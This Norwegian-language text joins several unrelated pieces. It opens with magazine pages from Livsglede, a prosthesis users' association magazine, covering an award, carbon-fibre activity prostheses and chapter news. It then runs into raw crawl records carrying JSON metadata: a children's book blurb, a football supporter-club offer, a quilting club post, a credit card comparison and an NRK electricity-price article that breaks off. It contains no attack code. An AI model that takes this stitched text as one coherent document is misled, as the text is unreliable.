Momentumprisen Ikke rart at det vanket pene ord om Gsell da han under et arrangement p\u00e5 sin arbeidsplass, Ortopediteknikk p\u00e5 Ryen i Oslo, ble utropt som vinner. Geir Bornkessel, nestleder i Momentums hovedstyre, f\u00f8rte ordet da Gsell tr\u00e5dte frem og ble overrakt diplom og blomster, foruten at han fikk tittelen \u00c5rets Ortopediingeni\u00f8r. Om Gsell, som er faglig leder p\u00e5 Ryen, sa Bornkessel at han viser et engasjement og en medmenneskelighet i sitt arbeid som det er sjeldent \u00e5 oppleve i dag. Fra Bornkessel fikk Gsell ogs\u00e5 h\u00f8re at han har en enorm arbeidskapasitet, han er utrolig dyktig i sitt fag, og han har en enest\u00e5ende evne til \u00e5 kommunisere. Gsell og noen kolleger Gsell fremholdt under prisseremonien, og gjentar i en oppf\u00f8lgende samtale med Livsglede, at han ser seg som mottager av en pris som flere i bunn og grunn v\u00e6rt med p\u00e5 \u00e5 vinne. Dette er en pris for alle oss som jobber med proteser p\u00e5 Ryen, sier han. Den \u00e5rlige Momentumprisen kan vinnes av \u00e9n, to eller flere akt\u00f8rer, og 2010-prisen gikk (som omtalt i forrige utgave av Livsglede) til Bakke, Senter for Mestring og Rehabilitering, foruten til Roger Gsell. Mens Bakke-senteret syd for Halden i \u00d8stfold ble utropt som vinner under en seanse p\u00e5 senteret 1. oktober, ble\n\n\n\n15 lille julaften valgt som dato for prisvinnerseansen i Ortopediteknikk. En passende anledning, hadde Momentumstyret og Ortopediteknikk-ledelsen funnet ut, fordi det da uansett skulle holdes juleavslutning for medarbeiderne p\u00e5 Ryen. En mann som stiller opp Bornkessel hadde mer pent \u00e5 si om Gsell: Han gir seg aldri f\u00f8r du har f\u00e5tt en protese som passer som h\u00e5nd i hanske. Det er nesten slik at vi som brukere ikke savner det beinet vi en gang hadde. Har du problemer, s\u00e5 stiller han opp uansett om det er i arbeidstiden eller ikke. Dette er en pris for alle oss som jobber med proteser (i Ortopediteknikk, red. anm.) p\u00e5 Ryen, sier Roger Gsell, her sammen med noen av de mange Som vanlig ved anledninger som denne, ble det fra Momentum-styrets side minnet om at den \u00e5rlige prisen kan vinnes av enkeltpersoner, team, avdelinger, helseinstitusjoner og om at den som vil kan nominere kandi- kollegene som var tilstede under prisseremonien. dater fra rekkene av akt\u00f8rer som har gjort en innsats utover det vanlige. Nestleder Bornkessel fastslo at hensikten med prisen er \u00e5 premiere og stimulere til vedvarende ekstraordin\u00e6r innsats. Vi \u00f8nsker nemlig ildsjeler som er mer opptatt av \u00e5 sp\u00f8rre hva jeg kan gj\u00f8re for andre enn hva andre kan gj\u00f8re for meg. Pr\u00f8ve \u00e5 f\u00e5 jobben gjort Prisvinner med gode kollegers hjelp, OK, men Gsell legger overfor Livsglede ikke skjul p\u00e5 at han finner det hyggelig \u00e5 v\u00e6re selve vinneren. Selvf\u00f8lgelig, det er jo det. Det er jo et bevis p\u00e5 at man blir satt pris p\u00e5, at man blir lagt merke til for det man gj\u00f8r. Gsell, 49 \u00e5r gammel, forteller at han for alvor satte fot i Norge for 29 \u00e5r siden, at han da hadde sin fagutdannelse fra Sveits og at han senere, i midten av 80-\u00e5rene, sikret seg sitt mesterbrev i Tyskland. Hvis noen skulle tro at det var kj\u00e6rlighet som fikk mannen til \u00e5 sette fot i Norge, har de if\u00f8lge mannen selv rett, skj\u00f8nt han understreker at han n\u00e5 er gift med en annen kj\u00e6rlighet enn den som den gangen var inne i bildet. N\u00e5r Gsell lar seg overtale av Livsglede til selv \u00e5 antyde hvorfor han blir satt pris p\u00e5 som fagmann, sier han at noen nok opplever ham som ganske t\u00e5lmodig, at det er viktig \u00e5 im\u00f8tekomme pasienters behov og i det hele tatt viktig \u00e5 pr\u00f8ve \u00e5 f\u00e5 jobben gjort. 15 Roger Gsell, ortopediingeni\u00f8r og prisvinner.\n\n\n\n16 Annerledes tenkning bak annerledes proteser 16 Fagfolk og kunder stiller opp for Livsglede i Teknomeds lokaler. Fra venstre: Chris Andersen (ortopeditekniker), Per Bj\u00f8rge (ortopeditekniker og verkstedleder), Ivar Vethe (ortopediingeni\u00f8r), Erik Halvorsen (kunde), Marcus Stener Edvardsen (kunde) og Jon Andersen (fagansvarlig ortopediingeni\u00f8r). Et \u00f8nske fra en kunde, en id\u00e9 i hodet p\u00e5 en fagperson, et materiale som gir nye muligheter Kombinasjonen av slike faktorer kan f\u00f8re til s\u00e5 mangt eksempelvis en protese som f\u00e5r en amputert til \u00e5 f\u00f8le seg bedre tilpass F. Dahl (tekst) Hans H. Reinertsen (foto) Marcus Stener Edvardsen med en gammel badeprotese st\u00e5ende ved siden av seg og en ny i h\u00e5nden, foruten en ny p\u00e5 det amputerte benet. De nye badeprotesene er i stor grad laget av karbonfiber og er gitter-preget, slik at vann str\u00f8mmer gjennom dem under sv\u00f8mming. Den gamle er laget av glassfiberarmert plast. Leggamputerte Erik Halvorsen ser den som et fremskritt, den protesen han n\u00e5 viser frem. Det dreier seg om en aktivitetsprotese, en slik som innfrir andre krav enn hva en protese til alminnelig gange gj\u00f8r. Halvorsen, amputert etter at han ni \u00e5r gammel l\u00f8p p\u00e5 en buss i 1971 (se Livsglede nr. 2, 2010), er ikke av den stillesittende typen, gammel Paralympicsdeltager som han er. Han sammenligner den nye aktivitetsprotesen med den gamle og sier: Den gir mye bedre stabilitet og kraftoverf\u00f8ring. N\u00e5r du g\u00e5r langrenn, for eksempel, f\u00e5r du mye bedre fraspark. Noe lettere er den ogs\u00e5, og i tillegg gir den mindre svetteplager, fastsl\u00e5r Halvorsen.\n\n\n\n17 Marcus Stener Edvardsen er 15 \u00e5r gammel, ble leggamputert for halvannet \u00e5r siden som f\u00f8lge av sykdom og er n\u00e5 i ferd med s\u00e5 \u00e5 si \u00e5 sv\u00f8mme seg varm med en ny og annerledes badeprotese. Marcus er mindre erfaren enn Halvorsen, men sier uten \u00e5 n\u00f8le at den nye badeprotesen representerer et klart fremskritt for ham. Konge i bassenget Noe av det som er nytt, er at vi klarer oss med ett ledd i kne-omr\u00e5det p\u00e5 protesen; da f\u00e5r Erik bedre kontroll over bevegelsene og beholder samtidig den st\u00f8tten han trenger. Vi har aldri tidligere laget denne typen aktivitetsprotese, med ledd bare p\u00e5 den ene siden. I tillegg er ogs\u00e5 l\u00e5rkappen laget av karbonfiber (istedenfor l\u00e6r, som er brukt i Halvorsens gamle aktivitetsprotese, red. anm.). Et eksempel, alts\u00e5, p\u00e5 dette med \u00e5 bygge sten p\u00e5 sten Se vedst\u00e5ende artikkel. Vi pr\u00f8vde den i forrige uke, sier Marcus om den dagen han sammen med ortopediingeni\u00f8r Jon Andersen og ortopeditekniker Chris Andersen var en tur i et lokalt sv\u00f8mmebasseng. Om hvordan det f\u00f8ltes, tilf\u00f8yer Marcus: Jeg var konge. Det bare f\u00f8ltes riktig. Jon Andersen er fagansvarlig ortopediingni\u00f8r i Teknomed AS, et ortopediteknisk senter som, der det holder hus i utkanten av Sandefjord, startet med tre ansatte ved etableringen i 2002 og senere har vokst til 20 ansatte. Andersen, som var initiativtager til Teknomed, sier at nettopp et \u00f8nske om \u00e5 tenke nytt og friskt, sammen med kundene, var en drivkraft for ham og de to andre som dro i gang virksomheten. Vi ville gj\u00f8re det annerledes. Spesialisering, inklusive protesetilpasning, var et utgangspunkt, sier han. Karbonfiber og ett kne-ledd Om de nye protesene som kommer i fokus n\u00e5r Livsgledes medarbeidere bes\u00f8ker senteret og der treffer kundene Halvorsen og Marcus, sier Andersen at hans kollegaer Ivar Vethe og Chris Andersen, henholdsvis ortopediingeni\u00f8r og ortopeditekniker, har spilt n\u00f8kkelroller i fremstillingen. Hva de n\u00e6rmere bestemt har gjort, er \u00e5 bruke karbonfiber som et vesentlig element i protesene, basert p\u00e5 hvordan de fra f\u00f8r har brukt det samme materialet til fremstilling av ortoser, slike hjelpemidler som i mindre faglig sammenheng kalles st\u00f8tteskinner. Riktignok er karbonfiber ogs\u00e5 tidligere blitt anvendt i protesefremstilling, men Teknomed-folkene sier at m\u00e5ten de n\u00e5 har brukt materialet p\u00e5 er spesiell s\u00e5 spesiell at de ikke kjenner til at andre i bransjen har brukt det p\u00e5 tilsvarende m\u00e5te. Jon Andersen, den faglige lederen, forklarer n\u00e6rmere, med utgangspunkt i Erik Halvorsens nye aktivitetsprotese: Dr\u00f8ye \u00e5tte \u00e5r etter at virksomheten ble etablert, ble Teknomed AS i februar k\u00e5ret som vinner av Spare- Bank 1 Sandefjords gr\u00fcnderpris. Den f\u00f8rste vinner av den nyinnstiftede prisen, intet mindre. Og det ville seg slik at Teknomed ble vinner i en tid da bedriften la et stykke nytt land under seg ved \u00e5 \u00e5pne en avdeling i Porsgrunn. I juryens begrunnelse berettes det om Erik Halvorsens gamle aktivitetsprotese (til venstre) har to ledd, og l\u00e5rkappe i l\u00e6r. Ortosen (midt i bildet) er basert p\u00e5 karbonfiber og var utgangspunkt for den nye aktivitetsprotesen (til h\u00f8yre). Denne har bare ett ledd i kne-omr\u00e5det og er i stor grad laget av karbonfiber. Sandefjords prisvinnende gr\u00fcnderbedrift Noe \u00e5 glede seg over for Jon Andersen og hans medarbeidere: Oppslaget i Sandefjords Blad som forteller om k\u00e5ringen av Teknomed som gr\u00fcnderprisvinner. visjoner og fagkunnskap og om en samfunnsnyttig og fremtidsrettet virksomhet, dessuten om inspirasjon til andre som \u00f8nsker \u00e5 starte en virksomhet med utgangspunkt i faglig kunnskap og innsikt. Under seansen der prisvinneren ble utropt, uttalte vinnerbedriftens fagansvarlige ortopediingeni\u00f8r Jon Andersen if\u00f8lge Sandefjords Blad: Det tar tid \u00e5 bli synlig. Bygg sten p\u00e5 sten og ikke ha blikket rettet p\u00e5 st\u00f8rst og raskest utbytte. 17\n\n\n\n18 Lesertorget Nytt navn og ny leder p\u00e5 S\u00f8rlandet Bj\u00f8rg Nodeland, nettopp avtroppet leder i Momentum S\u00f8rlandet, som har f\u00e5tt ny leder og et kortere navn, har sendt inn denne artikkelen med foto: Momentum S\u00f8rlandet har hatt \u00e5rsm\u00f8te. Den 21.februar var vi 10 personer til stede p\u00e5 m\u00f8tet, som ble avholdt i nye lokaler hos Ortopediservice AS i S\u00f8rlandsparken, like \u00f8st for Kristiansand sentrum. Vi har f\u00e5tt nytt navn, og vi har f\u00e5tt ny leder. Etter forslag fra styret ble navneendring p\u00e5 lokallaget vedtatt til Momentum S\u00f8r, og Henry Gerhard H\u00f8yland, som har sittet i styret siden starten, ble valgt til ny leder etter \u00c5rsm\u00f8te, deretter servering og faglig informasjon. Henry Gerhard H\u00f8yland (nr. to fra h\u00f8yre) har tiltr\u00e5dt som leder i Momentum S\u00f8rlandet. Bj\u00f8rg Nodeland. Ortopediservice AS har flyttet inn i nye, flotte lokaler. Etter m\u00f8tet disket Paul Bj\u00f8rneseth hos Ortopediservice opp med rundstykker, kaffe og kaker samtidig som praten gikk livlig, og p\u00e5 det faglige plan fikk vi en omvisning i lokalene, med forklaring om hvordan proteser blir produsert fra begynnelse til endelig resultat. Det var interessant \u00e5 se hvordan utviklingen har g\u00e5tt fremover de siste \u00e5rene, og hvilken innsats som blir gjort for \u00e5 f\u00f8lge med p\u00e5 nyvinninger for oss protesebrukere. En stor takk til Paul Bj\u00f8rneseth og Ortopediservice som tok imot oss. 18 Tippepenger til egne lommer Sven-Erik Blidberg, styremedlem i Momentum, har oversendt Livsglederedaksjonen bakgrunnsmateriale for f\u00f8lgende artikkel: Styret i Momentum oppfordrer foreningens medlemmer til \u00e5 se inntektsmulighetene i en ordning som Norsk Tipping kaller Grasrotandelen. P\u00e5 Norsk Tippings nettsider finnes en forklaring: Grasrotandelen gir deg som spiller mulighet til \u00e5 v\u00e6re med \u00e5 bestemme hva noe av overskuddet skal g\u00e5 til. Du kan n\u00e5 velge hvilket lag eller forening som f\u00e5r fem prosent av din spillerinnsats. Det vil si at dersom du spiller Lotto for hundre kroner, g\u00e5r fem kroner til din grasrotmottaker. Og best av alt; din innsats, premie eller vinnersjanse vil ikke reduseres\\! Sven-Erik Blidberg, styremedlem i Momentum, sier til Lesertorget-redaksjonen at hvis Momentum-medlemmer som spiller i Norsk Tipping \u00f8nsker \u00e5 la den fem prosents grasrotandelen tilfalle Momentum, s\u00e5 m\u00e5 medlemmenes respektive fylkeslag registreres i det s\u00e5kalte Frivillighetsregisteret. Styret i Momentum har laget en instruks for slik registrering i Frivillighetsregisteret. Det ble p\u00e5 styrem\u00f8te 23. februar 2011 vedtatt at fylkeslag kan registrere seg i Frivillighetsregisteret, sier Blidberg. Norsk Tipping presiserer at Grasrotandelen gjelder for alle Norsk Tippings spill, bortsett fra Flax og Extra. Dette fordi alt overskuddet i Extra allerede g\u00e5r til stiftelsen Helse og Rehabilitering og Flax spilles uregistrert. Om Grasrotandelen-ordningen heter det videre p\u00e5 nettsidene at Det er Kulturdepartementet som bestemmer hvem som kan motta grasrotmidler. For at ditt lag eller forening skal motta midler fra Grasrotandelen, m\u00e5 det v\u00e6re registrert i Frivillighetsregisteret (brreg.no) og godkjent som grasrotmottaker. Din grasrotmottaker beh\u00f8ver ikke \u00e5 v\u00e6re lokalisert i ditt n\u00e6rmilj\u00f8, men m\u00e5 drive regional eller lokal virksomhet. Sven-Erik Blidberg understreker, i lys av betingelsen om regional eller lokal virksomhet, at Momentum som hovedorganisasjon ikke kan registrere seg. For \u00f8vrig poengterer Blidberg at Momentum-medlemmer kan skaffe foreningen inntekter ogs\u00e5 gjennom tilknytning til bingo-foreninger. Disse fordeler overskuddet til frivillige organisasjoner som har registrert seg hos dem. Her er det mye penger som fordeles, sier han. Fylkeslag som trenger mer informasjon og kanskje hjelp til \u00e5 registrere seg, hva enten det gjelder Norsk Tipping eller bingo-foreninger, vil v\u00e6re velkomne til \u00e5 ta kontakt, understreker Blidberg. Han oppgir f\u00f8lgende kontaktmuligheter: Sven-Erik Blidberg Web-ansvarlig E-post: Mobiltlf: Begeistring Randi Raaen, aktivt Momentummedlem fra Drammen, er s\u00e5 begeistret etter \u00e5 ha deltatt p\u00e5 kurset Ett skritt videre, forteller hun til Lesertorget, at hun f\u00f8ler trang til \u00e5 dele sin begeistring med andre. Kurset (omtalt i Livsglede nr. 2, 2010) g\u00e5r p\u00e5 Bakke-senteret i \u00d8stfold og strekker seg over seks uker. Det var kjempebra. Jeg skulle \u00f8nske at veldig mange amputerte fikk anledning til \u00e5 v\u00e6re med p\u00e5 det, sier Randi Raaen.\n\n\n\n19 erimed College Park Accent TM Accent, ett knappetrykk mellom h\u00f8yhelt og barfot. Sandalt\u00e5en og et genialt fleksibelt ankelkonsept tar opp bevegelsen i ankelen. For mer informasjon ring Steinar Knutsen tel\n\n25 Bli medlem? Adresseforandring? Er du ikke medlem og \u00f8nsker \u00e5 f\u00e5 bladet Livsglede? Eller har du endret adresse? Kontakt oss med opplysninger om: Kan jeg gi noe tilbake? Navn, adresse, telefon, mobil, e-post, evt. ny/gammel adresse osv. I tilfelle nytt medlem, \u00f8nskes Familiemedlem (amputert/protesebruker og alle i husstanden) kr 400 per \u00e5r, Hovedmedlem (kun bruker) kr 300 per \u00e5r, St\u00f8ttemedlem (personlig st\u00f8ttemedlem for venner og helsepersonell) kr 200 per \u00e5r, Bedriftsmedlem (institusjoner, verksteder og leverand\u00f8rer) kr 1000 per \u00e5r. Ta kontakt slik det er enklest for deg - per telefon, e-post eller brev: Momentum Pb 49 Sk\u00f8yen, 0212 Oslo Tlf: Om Momentum Momentum foreningen for arm- og benprotesebrukere er til for \u00e5 spre livsglede og inspirasjon og gj\u00f8re hverdagen bedre for protesebrukere og p\u00e5r\u00f8rende. Momentum betyr bevegelse fremover, og v\u00e5rt motto er Det er bedre \u00e5 tenne et lys enn \u00e5 forbanne m\u00f8rket. Foreningen ble stiftet i 1996, har i dag over 700 medlemmer og er representert med lokallag i de fleste av landets fylker. \u00c5pent for alle Medlemskap er \u00e5pent for alle amputerte/ protesebrukere og p\u00e5r\u00f8rende (familie, venner, alle som arbeider med og har interesse for rehabilitering av amputerte). Dette f\u00e5r du Som medlem f\u00e5r du bladet Livsglede tilsendt fire ganger i \u00e5ret, mulighet til \u00e5 delta p\u00e5 weekender og sammenkomster til sterkt subsidierte priser, rabatt p\u00e5 m\u00f8te-/ hotellrom, hjelp i sp\u00f8rsm\u00e5l knyttet til protesebruk, protesetilpasning, rehabilitering, rettigheter osv. Dessuten tilgang til noen \u00e5 snakke og utveksle erfaringer med noen som har kjent det p\u00e5 kroppen selv etter prinsippet like hjelper like. Dermed slipper du \u00e5 finne opp kruttet selv, du blir inspirert og motivert og fungerer bedre raskere. Momentums likemannstjeneste utf\u00f8res av protesebrukere og p\u00e5r\u00f8rende som har m\u00f8tt egne utfordringer og stiller opp frivillig for andre i samme situasjon for en prat per telefon, under bes\u00f8k p\u00e5 sykehus, p\u00e5 rehabiliteringssenter eller hjemme. Husker du... Alle de sp\u00f8rsm\u00e5lene du hadde? Alle utfordringene du trodde var uoverkommelige? At du lurte p\u00e5 hvor du kunne f\u00e5 ordnet med det ene og det andre? F\u00f8lelsen av \u00e5 v\u00e6re den eneste som har det akkurat slik? Hverdagen kan bli enklere for en nyamputert hvis det finnes en likemann \u00e5 snakke med. \u00c5 m\u00f8te noen som har opplevd det samme, kan bety enormt mye. Det handler ikke s\u00e5 mye om hva du som likemann gj\u00f8r, men om at du er der og kan m\u00f8te samtalepartneren med respekt og \u00e5penhet. Til likemannstjenesten er vi ute etter vanlige mennesker som kan bety en forskjell for den nyamputerte. Det vi stiller krav om, er at du er over 20 \u00e5r, har bearbeidet din egen amputasjon og har tilstrekkelig avstand til eventuelle egne kriser. Vi gir deg, som likemannskandidat, full oppl\u00e6ring. Du m\u00e5 regne med \u00e5 jobbe noen timer i m\u00e5neden. Likemannsjobben er ul\u00f8nnet, men det betyr ikke at du ikke blir sittende igjen med noe: Tilbakemeldinger vi f\u00e5r fra v\u00e5re likemenn - kvinner og menn - forteller at de f\u00f8ler de utvikler seg som mennesker av utfordringene de m\u00f8ter. TA KONTAKT N\u00c5 Per tlf eller 25\n", "language": "no", "__index_level_0__": "8f686dc0-ea1d-4f76-8419-da506bd9d445"}
{"url": "https://www.bokkilden.no/skjoennlitteratur-for-barn-og-ungdom-kjaerlighet-og-vennskap/kysse-katastrofer-anneli-klepp/produkt.do?produktId=14878627", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:34:06Z", "text": "![Kysse-katastrofer - Anneli Klepp Sandra Steffensen ](servlet/VisBildeServlet?produktId=14878627 \"Kysse-katastrofer - \n      Anneli Klepp\n    \n      Sandra Steffensen\n#### Kysse-katastrofer\n\nAnneli Klepp ; Sandra Steffensen (Illustrat\u00f8r)\n\nLine gleder seg vilt, for hun skal overnatte hos Alex. De skal ha en supermorsom pysjamasfest.  \n  \n  Om boka\n\nLine gleder seg vilt, for hun skal overnatte hos Alex. De skal ha en supermorsom pysjamasfest.  \n  \nMen s\u00e5 tabber Line seg fryktelig ut, to ganger p\u00e5 rad. Ikke nok med det, men Jeff Bjeff er sykt irriterende, og noen legger hemmelige planer. Hva skjer? Kommer kvelden til \u00e5 ende som et mareritt?  \n  \n", "language": "no", "__index_level_0__": "126f3ca4-94dc-45a5-9bbf-24dae9ba5301"}
{"url": "http://newutd.no/tilbud-medlemsskap-i-tan-velkomstgave-for-200-kr/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00346.warc.gz", "warc_date": "2018-03-24T23:36:30Z", "text": "# Tilbud: Medlemsskap i TAN + velkomstgave for 200 kr\n\nOppdatert: 26. November 2010\n\nVi reduserer n\u00e5 prisen p\u00e5 medlemskap i supporterklubben fra 250 til 200 kroner, og lar alle velge seg en ekstragave i tillegg til alle fordelene man f\u00e5r som medlem. Registrer deg n\u00e5\\!\n\nI en begrenset periode koster n\u00e5 medlemskap ut sesongen for kr 200, inkludert en velkomstgave som du velger selv (iPod-/iPhone-\u00f8retelefoner, USB-billader, kontaktplugg for England, skritteller eller USB-lykt). Tilbudet utl\u00f8per 24. desember.\n\n\n\n**Medlemsfordelene lyder som f\u00f8lger:**\n\n  - Fem utgaver av MagZine i PDF-form. (De tre f\u00f8rste er ute allerede. Neste utgave kommeri februar/mars)\n  - Offisielt medlemskort i plastikk med terminlisten bakp\u00e5\n  - Penn med \"newutd.no\"-tekst\n  - Plakat med klubblogo og terminliste\n  - N\u00f8kkelring med Toon Army Norway-logo\n  - Rett til \u00e5 delta i sesongkonkurransen med flotte premier (Fantasy League)\n  - Mulighet til \u00e5 dra p\u00e5 organiserte fellesturer\n  - Mulighet til \u00e5 delta p\u00e5 sponsede supportertreff med konkurranser (treff med konkurranse i Oslo 2. januar)\n  - Mulighet for \u00e5 representere Newcastle i SBFs supportercup i mai/juni\n  - Medlemrabatt p\u00e5 ALLE varer i v\u00e5r egen NewUtd-shop (5-20 %), som kommer i desember 2010.\n  - Som medlem st\u00f8tter du ogs\u00e5 videre drift av supporterklubben, som er drevet av fans p\u00e5 dugnad.\n  - Varepr\u00f8ve fra salgssuksessen Bakis\n\nI tillegg kan man alts\u00e5 velge en ekstra gave (se nedenfor).\n\n\n\n**Slik blir du medlem:**\n\n1.\u00a0Registrer deg med fullt navn og adresse her.\u00a0Dette m\u00e5 gj\u00f8res uansett om du var medlem i fjor eller ikke, siden at vi har byttet system.  \n2\\. \u00a0Sett inn 200 kroner p\u00e5 kontonummer\u00a09722.31.85227.\u00a0Husk \u00e5 legge ved fullt navn i beskrivelsen dersom du ikke betaler med egen nettbank.  \n3\\. \u00a0Husk \u00e5 skrive oss en kort\u00a0melding om hvilken gave du vil ha sammen med medlemspakken. Hvis ikke sender vi bare den vi har mest av p\u00e5 lager.  \n4\\. Straks betalingen er p\u00e5 konto, vil brukeren bli akseptert. Det vil da gis adgang til medlemssiden hvor blant annet medlemsbladene kan lastes ned.\u00a0Vi sender deretter ut medlemspakken i posten innen ti dager.\n\n**Betal med nettbank her:**  \nPostbanken -\u00a0Skandiabanken -\u00a0DNB -\u00a0Nordea -\u00a0Fokus -\u00a0Sparebank 1\n\nSupporterklubben har per dags dato 235 medlemmer. I fjor ble vi til slutt 248, og m\u00e5let for i er 400.\n\n", "language": "no", "__index_level_0__": "4c27cc1b-50cd-4ac9-b608-36d520d3d1fd"}
{"url": "https://moldequiltelag.wordpress.com/2014/02/06/arsmote-og-medlemsmote/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:22:14Z", "text": "# Molde Quiltelag\n\n## \u00c5rsm\u00f8te og medlemsm\u00f8te\n\nfebruar 6, 2014 av moldequiltelag\n\n\u00c5rsm\u00f8tet i quiltelaget er over, og b\u00e5de leder og resten av styret fortsetter ogs\u00e5 i innev\u00e6rende \u00e5r.\n\nVaramedlemmer og revisor er nye. Under fanen \u00abOm oss. Styret. Kontakt\u00bb er det oppdatert med navn, men styret er ikke konstituert enda.\n\nAlle som gikk av fikk en gave fra laget som takk for innsatsen. Aina G. S\u00e6ther har v\u00e6rt revisor for laget i en \u00e5rrekke, og fortjener en takk her ogs\u00e5.\n\nVi fikk en rapport fra Vestlandstreffet. Det var en suksess vi lever lenge p\u00e5, og som ogs\u00e5 gav laget et kjempeflott overskudd.\n\nEtter \u00e5rsm\u00f8tet fortsatte vi med vanlig medlemsm\u00f8te.\n\nTrine var en flink auksjonarius, og flere fikk kj\u00f8pe en del av lagets b\u00f8ker til en billig penge.\n\nHun hadde ogs\u00e5 bakt kake til \u00e5rsm\u00f8tet, og senere p\u00e5 kvelden serverte vi pizza.\n\nTakk til alle for et trivelig m\u00f8te. Styret skal snart samles og lage plan for m\u00f8tene fremover. \u00c5rsprogrammet her p\u00e5 siden blir oppdatert da, og ogs\u00e5 sendt ut p\u00e5 mail til medlemmene.\n\nHER kan du se bildene fra Vis og fortell.\n\n\u00a0\n    |  | marian schultz p\u00e5 Novemberm\u00f8tet              |\n", "language": "no", "__index_level_0__": "4fb11047-669f-4f43-8770-8cb8bf9a4d84"}
{"url": "http://ikredittkort.no/kredittkort-test/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-24T23:45:22Z", "text": "# Kredittkort test\n\nN\u00e5r man skal velge det rette kredittkortet er det viktig med en grundig kredittkort test. Vi har samlet de mest popul\u00e6re kortene her, slik at du selv kan se hvilke kort som passer nettopp ditt bruk best. De mest popul\u00e6re kortene finner du under. Om du vil lese mer om kortene f\u00f8r du bestiller, er det bare \u00e5 trykke p\u00e5 \u00abLes mer\u00bb som du finner under den gr\u00f8nne \u00abBestill\u00bb-knappen.\n\nKredittkort testen ble sist oppdatert mars 2018.  \n\n|                      |                 |\n| -------------------- | --------------- |\n| Maks kreditt:        | **100 000 kr\u00a0** |\n| Betalingsutsettelse: | **45 dager\u00a0**   |\n| Aldersgrense:        | **18 \u00e5r**       |\n\n|                   |             |\n| ----------------- | ----------- |\n| Krav til inntekt: | **0 kr\u00a0**   |\n| \u00c5rsgebyr:         | **0 kr**    |\n| Effektiv rente:   | **23,10%\u00a0** |\n\nEks: eff 23,1%, 15000 o/12 m. Tot: 16.764 kr.\n\n  \n**Tre inkluderte forsikringer\n\n|                      |                 |\n| -------------------- | --------------- |\n| Maks kreditt:        | **100 000 kr\u00a0** |\n| Betalingsutsettelse: | **50 dager\u00a0**   |\n| Aldersgrense:        | **20 \u00e5r**       |\n\n|                   |                 |\n| ----------------- | --------------- |\n| Krav til inntekt: | **100 000 kr\u00a0** |\n| \u00c5rsgebyr:         | **0 kr**        |\n| Effektiv rente:   | **24,10%\u00a0**     |\n\nEks: eff.rente 24,2%, 12 000 o/12 mnd. Tot: 13 468 kr.\n\n### Ikano Bank\n\n**Opptil 10% rabatt **Gode fordeler **50 dager rentefritt\n\n|                      |                 |\n| -------------------- | --------------- |\n| Maks kreditt:        | **100 000 kr\u00a0** |\n| Betalingsutsettelse: | **50 dager\u00a0**   |\n| Aldersgrense:        | **23 \u00e5r**       |\n\n|                   |                 |\n| ----------------- | --------------- |\n| Krav til inntekt: | **180 000 kr\u00a0** |\n| \u00c5rsgebyr:         | **0 kr**        |\n| Effektiv rente:   | **20,43%\u00a0**     |\n\n** ** Drivstoffrabatt, Reiseforsikring, Bonus, Rabatter  \nEks: eff.rente 20,43 %, 15.000 o/12 mnd. Tot: 16.596 kr.\n\n## Hvordan gjennomf\u00f8re en kredittkort test\n\nN\u00e5r du skal gj\u00f8re en kredittkort test og finne kortet du vil ha, er det forskjellige punkter du b\u00f8r se p\u00e5. Det hele bunner ut i at du m\u00e5 finne det produktet som passer best til ditt bruk. Her er noen retningslinjer for hva vi mener er ting man m\u00e5 se etter n\u00e5r du gj\u00f8r en kredittkort test:\n\n**Hva kortet skal brukes til**  \nDet f\u00f8rste du b\u00f8r se p\u00e5 er hva du skal bruke kredittkortet ditt til. Er det ferier og reising eller netthandel? Eller er du ute etter et kort du kan spare penger p\u00e5 n\u00e5r du fyller bensin?\n\n**Hvor mye du m\u00e5 l\u00e5ne**  \nHvor mye du vil l\u00e5ne, eller hvor h\u00f8y kredittgrense du trenger, er ogs\u00e5 viktig. N\u00e5 har de fleste kortene vi har med i v\u00e5r kredittkort test omtrent samme kredittgrense, utenom Remember-kortet som har den h\u00f8yeste l\u00e5negrensen.\n\n**Hvor fort du kan betale tilbake**  \nDersom du har litt trang \u00f8konomi og ikke vet helt n\u00e5r du kan betale tilbake pengene du bruker p\u00e5 kredittkortet er det to ting du b\u00f8r ta med i beregningen: renten p\u00e5 kredittkortet og hvor lang rentefri periode du f\u00e5r.\n\n", "language": "no", "__index_level_0__": "49fd2d56-d685-46ed-82b2-9d52912c4ce8"}
{"url": "https://www.nrk.no/okonomi/sjokkregning-til-viken-kunder-1.550361", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-25T00:11:07Z", "text": "# Sjokkregning til Viken-kunder\n\nKunder i Viken Energinett vil p\u00e5 ny\u00e5ret f\u00e5 en str\u00f8mregning norske forbrukere og bedrifter aldri har sett maken til. Det skriver dn.no i dag.\n\n  Publisert  10.12.2002, kl. 15.34 \n\n\nRegningen gjelder 4500 kunder i Kraftkompaniet Vest som har Hafslund-eide Viken Energinett som nettleverand\u00f8r. De vil fra midnatt ved \u00e5rsskiftet m\u00e5tte betale 64,85 \u00f8re/kWh inkludert moms og el-avgift i p\u00e5vente av at Sogn og Fjordane Energi overtar kraftleveransene senest 6. januar.\n\nLille julaften setter Viken Energinett opp sin ventetariff ytterligere, og prisen p\u00e5 kraft, inkludert moms og el-avgift blir da 139,6 \u00f8re/kWh, skriver Europower.com.\n\nMed en nettleie p\u00e5 22,13 \u00f8re/kWh p\u00e5 toppen vil kundene da f\u00e5 en samlet str\u00f8mregning p\u00e5 1,62 kroner/kWh, skriver dn.no.\n\n## Gir seg\n\nViken Energinett er et rent nettselskap, og driver i utgangspunktet ikke med kraftomsetning. Alle nettselskaper er imidlertid p\u00e5lagt \u00e5 levere str\u00f8m, dersom kraftleverand\u00f8rer opph\u00f8rer.\n\nI likhet med alle andre kunder i det norske kraftmarkedet st\u00e5r likevel de tidligere kundene av Kraftkompaniet Vest helt fritt til \u00e5 velge kraftleverand\u00f8r fra 6. januar.\n\nKraftkompaniet Vest, som markedsf\u00f8rte seg som landets billigste, gjorde det tidligere i dag kjent at selskapet slutter \u00e5 levere str\u00f8m fra midnatt. Sogn og Fjordane Energi tar over ansvaret for de 